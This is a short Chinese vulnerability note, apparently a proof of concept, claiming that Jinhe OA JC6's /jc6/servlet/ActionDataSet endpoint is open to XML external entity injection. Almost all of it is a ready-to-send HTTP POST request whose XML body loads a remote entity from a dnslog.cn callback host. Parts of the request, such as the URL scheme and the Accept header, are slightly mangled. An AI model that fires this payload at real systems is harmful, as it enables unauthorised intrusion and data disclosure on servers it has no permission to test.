漏洞描述
金和oa jc6的ActionDataSet存在XXE漏洞
POST /jc6/servlet/ActionDataSet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
*";q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http-""xxxx.dnslog.cn"> %remote;]>